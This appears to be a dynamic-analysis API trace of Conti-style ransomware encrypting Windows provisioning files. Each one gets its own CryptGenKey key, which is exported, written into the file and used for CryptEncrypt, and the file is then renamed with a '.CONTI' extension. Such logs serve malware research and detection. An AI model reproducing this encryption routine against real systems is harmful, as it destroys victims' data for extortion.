	[0113.226] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.226] SetEndOfFile (hFile=0x3e0) returned 1
	[0113.226] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.226] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.226] WriteFile (in: hFile=0x3e0, lpBuffer=0x65b44fc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x65b44fc*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.230] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.230] ReadFile (in: hFile=0x3e0, lpBuffer=0x11200000, nNumberOfBytesToRead=0x2c0, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x2c0, lpOverlapped=0x0) returned 1
	[0113.230] CryptEncrypt (in: hKey=0x17c7ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2c0, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2d0) returned 1
	[0113.230] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.230] WriteFile (in: hFile=0x3e0, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.230] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.230] WriteFile (in: hFile=0x3e0, lpBuffer=0x65b44f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x65b44f0*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0113.230] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.231] CloseHandle (hObject=0x3e0) returned 1
	[0113.231] GetProcessHeap () returned 0x1720000
	[0113.231] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0113.231] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0113.231] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.231] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\572__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\572__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.231] GetProcessHeap () returned 0x1720000
	[0113.231] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0113.231] CryptDestroyKey (hKey=0x17c7ff0) returned 1
	[0113.231] GetProcessHeap () returned 0x1720000
	[0113.231] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b8238 | out: hHeap=0x1720000) returned 1
	[0113.231] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0113.232] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x65b3e20 | out: phKey=0x65b3e20*=0x17c82b0) returned 1
	[0113.232] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b3e24, pdwDataLen=0x59bf7d4 | out: pbData=0x65b3e24*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0113.233] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\574__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.235] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\574__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0113.235] GetLastError () returned 0x0
	[0113.235] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=716) returned 1
	[0113.235] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cc
	[0113.236] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.236] SetEndOfFile (hFile=0x3e0) returned 1
	[0113.237] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.237] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.237] WriteFile (in: hFile=0x3e0, lpBuffer=0x65b3e24*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x65b3e24*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.240] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.240] ReadFile (in: hFile=0x3e0, lpBuffer=0x11200000, nNumberOfBytesToRead=0x2cc, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x2cc, lpOverlapped=0x0) returned 1
	[0113.240] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2cc, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2d0) returned 1
	[0113.240] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.240] WriteFile (in: hFile=0x3e0, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.240] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.240] WriteFile (in: hFile=0x3e0, lpBuffer=0x65b3e18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x65b3e18*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0113.240] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.240] CloseHandle (hObject=0x3e0) returned 1
	[0113.240] GetProcessHeap () returned 0x1720000
	[0113.240] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654cd80
	[0113.241] lstrcpyW (in: lpString1=0x654cd80, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0113.241] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.241] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\574__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\574__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.241] GetProcessHeap () returned 0x1720000
	[0113.241] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654cd80 | out: hHeap=0x1720000) returned 1
	[0113.241] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0113.241] GetProcessHeap () returned 0x1720000
	[0113.241] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b6898 | out: hHeap=0x1720000) returned 1
	[0113.241] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0113.241] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x65b32b8 | out: phKey=0x65b32b8*=0x17c7ff0) returned 1
	[0113.241] CryptExportKey (in: hKey=0x17c7ff0, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b32bc, pdwDataLen=0x59bf7d4 | out: pbData=0x65b32bc*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0113.242] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\576__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.242] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\576__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0113.243] GetLastError () returned 0x0
	[0113.243] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=715) returned 1
	[0113.243] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cb
	[0113.243] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.243] SetEndOfFile (hFile=0x3e0) returned 1
	[0113.243] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.243] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.243] WriteFile (in: hFile=0x3e0, lpBuffer=0x65b32bc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x65b32bc*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.249] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.249] ReadFile (in: hFile=0x3e0, lpBuffer=0x11200000, nNumberOfBytesToRead=0x2cb, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x2cb, lpOverlapped=0x0) returned 1
	[0113.250] CryptEncrypt (in: hKey=0x17c7ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2cb, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2d0) returned 1
	[0113.250] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.250] WriteFile (in: hFile=0x3e0, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.250] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.250] WriteFile (in: hFile=0x3e0, lpBuffer=0x65b32b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x65b32b0*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0113.250] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.250] CloseHandle (hObject=0x3e0) returned 1
	[0113.250] GetProcessHeap () returned 0x1720000
	[0113.250] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654cd80
	[0113.250] lstrcpyW (in: lpString1=0x654cd80, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0113.250] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.250] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\576__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\576__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.251] GetProcessHeap () returned 0x1720000
	[0113.251] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654cd80 | out: hHeap=0x1720000) returned 1
	[0113.251] CryptDestroyKey (hKey=0x17c7ff0) returned 1
	[0113.251] GetProcessHeap () returned 0x1720000
	[0113.251] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b69e0 | out: hHeap=0x1720000) returned 1
	[0113.251] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0113.251] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x65b5060 | out: phKey=0x65b5060*=0x17c85b0) returned 1
	[0113.251] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b5064, pdwDataLen=0x59bf7d4 | out: pbData=0x65b5064*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0113.252] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\578__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.252] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\578__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0113.252] GetLastError () returned 0x0
	[0113.252] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=713) returned 1
	[0113.252] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c9
	[0113.252] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.252] SetEndOfFile (hFile=0x3e0) returned 1
	[0113.252] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.253] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.253] WriteFile (in: hFile=0x3e0, lpBuffer=0x65b5064*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x65b5064*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.259] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.259] ReadFile (in: hFile=0x3e0, lpBuffer=0x11200000, nNumberOfBytesToRead=0x2c9, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x2c9, lpOverlapped=0x0) returned 1
	[0113.259] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2c9, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2d0) returned 1
	[0113.259] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.259] WriteFile (in: hFile=0x3e0, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.259] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.260] WriteFile (in: hFile=0x3e0, lpBuffer=0x65b5058*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x65b5058*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0113.260] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.260] CloseHandle (hObject=0x3e0) returned 1
	[0113.260] GetProcessHeap () returned 0x1720000
	[0113.260] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654cd80
	[0113.260] lstrcpyW (in: lpString1=0x654cd80, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0113.260] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
